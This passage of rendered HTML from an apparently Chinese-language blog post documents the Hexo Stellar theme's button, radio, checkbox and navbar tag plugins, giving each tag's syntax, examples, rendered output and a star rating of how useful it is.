fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="10-button-&#x6309;&#x94AE;">10. button &#x6309;&#x94AE;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">{% button [color:color] text url [icon:key/src] [size:xs] %}</span><br><span class="line"></span><br><span class="line">text: # &#x663E;&#x793A;&#x6587;&#x5B57;</span><br><span class="line">url: # &#x8DF3;&#x8F6C;&#x94FE;&#x63A5;</span><br><span class="line">&#x53EF;&#x9009;&#x53C2;&#x6570;&#xFF1A;</span><br><span class="line">color:orange # theme, accent, red, orange, yellow, green, cyan, blue, purple</span><br><span class="line">icon:solar:planet-bold-duotone # &#x663E;&#x793A;&#x56FE;&#x6807;&#xFF0C;&#x652F;&#x6301; icons.yml &#x4E2D;&#x7684;&#x6587;&#x4EF6;&#x540D;&#x548C;&#x5916;&#x94FE;&#x56FE;&#x6807;</span><br><span class="line">size: xs # &#x6309;&#x94AE;&#x5C3A;&#x5BF8;&#xFF0C;&#x76EE;&#x524D;&#x53EA;&#x6709;&#x4E24;&#x79CD;&#x5C3A;&#x5BF8;&#xFF1A;&#x9ED8;&#x8BA4;&#x662F;&#x666E;&#x901A;&#x5927;&#x5C0F;&#xFF0C; xs &#x662F;&#x6700;&#x5C0F;&#x53F7;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{% button &#xA0;color:gray &#x8FD9;&#x662F;&#x4E00;&#x4E2A;button https://www.runoob.com/tags/tag-footer.html %}</span><br><span class="line">{% button color:green &#x63A2;&#x7D22; https://github.com/xaoxuu/hexo-theme-stellar/ icon:solar:planet-bold-duotone %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><a class="tag-plugin colorful button" color="blue" title="&#x8FD9;&#x662F;&#x4E00;&#x4E2A; button" href="https://www.runoob.com/tags/tag-footer.html"><span>&#x8FD9;&#x662F;&#x4E00;&#x4E2A; button</span></a><a class="tag-plugin colorful button" color="green" title="&#x63A2;&#x7D22;" href="https://github.com/xaoxuu/hexo-theme-stellar/"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span>&#x63A2;&#x7D22;</span></a><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="11-radio-&#x5355;&#x9009;">11.  radio &#x5355;&#x9009;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% radio title [checked:true/false] [color:color] %}</span><br><span class="line">checked:true/false   &#x5DF2;&#x52FE;&#x9009;/&#x672A;&#x52FE;&#x9009;</span><br><span class="line">color:red/orange/yellow/green/cyan/blue/purple</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">{% radio &#x6CA1;&#x6709;&#x52FE;&#x9009;&#x7684;&#x5355;&#x9009;&#x6846; %}</span><br><span class="line">{% radio checked:true &#x5DF2;&#x52FE;&#x9009;&#x7684;&#x5355;&#x9009;&#x6846; %}</span><br><span class="line">{% radio &#x6CA1;&#x6709;&#x52FE;&#x9009;&#x7684;&#x5355;&#x9009;&#x6846;  color:purple %}</span><br><span class="line">{% radio checked:true &#x5DF2;&#x52FE;&#x9009;&#x7684;&#x5355;&#x9009;&#x6846; color:cyan %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin colorful checkbox"><input type="radio"><span>&#x6CA1;&#x6709;&#x52FE;&#x9009;&#x7684;&#x5355;&#x9009;&#x6846;</span></div> <div class="tag-plugin colorful checkbox"><input type="radio" checked="true"><span>&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x5355;&#x9009;&#x6846;</span></div><div class="tag-plugin colorful checkbox" color="purple"><input type="radio"><span>&#x6CA1;&#x6709;&#x52FE;&#x9009;&#x7684;&#x5355;&#x9009;&#x6846;</span></div><div class="tag-plugin colorful checkbox" color="cyan"><input type="radio" checked="true"><span>&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x5355;&#x9009;&#x6846;</span></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="12-checkbox-&#x590D;&#x9009;">12.  checkbox &#x590D;&#x9009;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% checkbox [<span class="string">checked:false</span>] [<span class="string">color:cyan</span>][<span class="symbol">symbol:plus/minus/times</span>] text %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">{% checkbox &#x666E;&#x901A;&#x7684;&#x6CA1;&#x6709;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846; %}</span><br><span class="line">{% checkbox checked:true &#x666E;&#x901A;&#x7684;&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846; %}</span><br><span class="line">{% checkbox symbol:plus color:green checked:true &#x663E;&#x793A;&#x4E3A;&#x52A0;&#x53F7;&#x7684;&#x7EFF;&#x8272;&#x7684;&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846; %}</span><br><span class="line">{% checkbox symbol:minus color:yellow checked:true &#x663E;&#x793A;&#x4E3A;&#x51CF;&#x53F7;&#x7684;&#x9EC4;&#x8272;&#x7684;&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846; %}</span><br><span class="line">{% checkbox symbol:times color:red checked:true &#x663E;&#x793A;&#x4E3A;&#x4E58;&#x53F7;&#x7684;&#x7EA2;&#x8272;&#x7684;&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846; %}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin colorful checkbox"><input type="checkbox"><span>&#x666E;&#x901A;&#x7684;&#x6CA1;&#x6709;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846;</span></div><div class="tag-plugin colorful checkbox"><input type="checkbox" checked="true"><span>&#x666E;&#x901A;&#x7684;&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846;</span></div><div class="tag-plugin colorful checkbox" color="green" symbol="plus"><input type="checkbox" checked="true"><span>&#x663E;&#x793A;&#x4E3A;&#x52A0;&#x53F7;&#x7684;&#x7EFF;&#x8272;&#x7684;&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846;</span></div><div class="tag-plugin colorful checkbox" color="yellow" symbol="minus"><input type="checkbox" checked="true"><span>&#x663E;&#x793A;&#x4E3A;&#x51CF;&#x53F7;&#x7684;&#x9EC4;&#x8272;&#x7684;&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846;</span></div><div class="tag-plugin colorful checkbox" color="red" symbol="times"><input type="checkbox" checked="true"><span>&#x663E;&#x793A;&#x4E3A;&#x4E58;&#x53F7;&#x7684;&#x7EA2;&#x8272;&#x7684;&#x5DF2;&#x52FE;&#x9009;&#x7684;&#x590D;&#x9009;&#x6846;</span></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="13-navbar-&#x5BFC;&#x822A;&#x680F;">13. navbar &#x5BFC;&#x822A;&#x680F;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">{% navbar [active:url] [markdown-link] ... %}</span><br><span class="line"></span><br><span class="line">example:</span><br><span class="line">{% navbar active:/about/ [<span class="string">Home</span>](<span class="link">/</span>) [<span class="string">About</span>](<span class="link">/about/</span>) [<span class="string">Comments</span>](<span class="link">#comments</span>) %}</span><br><span class="line"></span><br><span class="line">{% navbar active:/wiki/ [<span class="string">&#x6587;&#x7AE0;</span>](<span class="link">/</span>) [<span class="string">&#x9879;&#x76EE;</span>](<span class="link">/wiki/</span>) [<span class="string">&#x7559;&#x8A00;</span>](<span class="link">#comments</span>) [<span class="string">GitHub</span>](<span class="link">https://github.com/xaoxuu/</span>) %}</span><br><span class="line"></span><br><span class="line">active &#x4F20;&#x5165;&#x8981;&#x9AD8;&#x4EAE;&#x7684;&#x90A3;&#x4E2A;&#x6309;&#x94AE;&#x7684; url</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% navbar active:/wiki/ [<span class="string">&#x6587;&#x7AE0;</span>](<span class="link">/</span>) [<span class="string">&#x9879;&#x76EE;</span>](<span class="link">/wiki/</span>) [<span class="string">&#x7559;&#x8A00;</span>](<span class="link">#comments</span>) [<span class="string">GitHub</span>](<span class="link">https://github.com/xaoxuu/</span>) %}</span><br><span class="line"></span><br><span class="line">{% navbar active:/about/ [<span class="string">Home</span>](<span class="link">/</span>) [<span class="string">About</span>](<span class="link">/about/</span>) [<span class="string">Comments</span>](<span class="link">#comments</span>) %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin navbar"><nav><a class="link" href="/">&#x6587;&#x7AE0;</a><a class="link active" href="/wiki/">&#x9879;&#x76EE;</a><a class="link" href="#comments">&#x7559;&#x8A00;</a><a class="link" href="https://github.com/xaoxuu/">GitHub</a></nav></div><div class="tag-plugin navbar"><nav><a class="link" href="/">Home</a><a class="link active" href="/about/">About</a><a class="link" href="#comments">Comments</a></nav></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span>  <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 